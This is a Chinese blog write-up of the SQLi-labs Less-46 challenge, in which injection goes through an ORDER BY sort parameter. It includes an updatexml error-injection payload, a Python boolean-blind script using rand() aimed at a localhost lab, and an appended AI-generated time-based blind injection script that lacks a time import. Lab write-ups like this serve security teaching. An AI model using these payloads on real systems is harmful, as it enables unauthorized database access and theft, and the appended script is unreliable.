SQLlabs46关

文章介绍了如何通过构造特定的SQL查询语句,利用rand()函数进行SQL注入,实现对数据库字段的探测和可能的权限获取,如admin3字段。作者提供了一个Python脚本实例,针对`http://127.0.0.1/sqli/Less-46/index.php`的Sqli漏洞进行测试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

如果我们直接用列去排序

?sort=username/password

username:

passward

可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)

报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现

?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3

# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup
 
 
"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
            res = {"sort": payload}
            r = requests.post(url, params=res)
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getUsername = soup.find_all('td')[1].text
            if getUsername == 'admin3':
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli/Less-46/index.php'
    inject_database(url)

### 于SQL Labs 第四的解法 #### 背景介绍 SQL注入是一种常见的Web安全漏洞,攻击者通过向应用程序输入恶意SQL代码来操纵数据库执行未授权的操作。SQL Labs是一个用于练习和学习如何检测以及防御SQL注入的安全平台。 #### SQL Labs 第四概述 在这一中,目标是在给定的应用环境中利用SQL注入技术获取敏感数据或控制应用逻辑。根据已有的资料,在某些特定条件下,可能无法直接使用联合查询的方式来进行注入[^3]。 #### 技术细节与解决方案 由于本卡不允许返回额外的数据行(即不能用`UNION SELECT`),因此可以考虑采用基于布尔条件判断的方法——布尔盲注。这种方法依赖于程序响应的不同状态来推断后台数据库的信息。例如: 当尝试访问某个页面时,如果传入参数满足一定条件,则会显示正常的内容;如果不满足则不会有任何输出或者给出错误提示。此时可以通过改变请求中的变量值并观察服务器端反馈的变化情况来逐步构建完整的注入语句。 具体实现上,可以选择一些常用的MySQL内置函数作为辅助工具,比如`IF()`、`SLEEP()`等。下面是一段Python脚本示例,展示了如何自动化地实施这种类型的攻击: ```python import requests from string import ascii_lowercase, digits url = "http://example.com/vulnerable_page" characters = ascii_lowercase + digits # 字符集范围可以根据实际情况调整 result = "" for position in range(1, 20): # 假设最长用户名长度不超过20位 found_char = False for char in characters: payload = f"' OR IF(SUBSTRING((SELECT username FROM users LIMIT 1),{position},1)='{char}', SLEEP(5), 'false') -- " start_time = time.time() response = requests.get(url, params={"input": payload}) elapsed_time = time.time() - start_time if elapsed_time >= 5: # 如果延迟超过设定阈值,则认为找到了匹配字符 result += char print(f"[+] Found character at position {position}: '{char}'") found_char = True break if not found_char: break print("[*] Final extracted value:", result) ``` 此代码片段发送带有精心构造的有效载荷到易受攻击的服务端接口处,并测量每次请求所花费的时间。一旦发现异常延长时间的情况发生,就说明当前猜测的字符是正确的。 需要注意的是上述方法仅适用于存在时间差异反馈机制的情况下适用。实际操作过程中还需要结合具体的业务场景灵活运用不同的技巧完成挑战任务。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值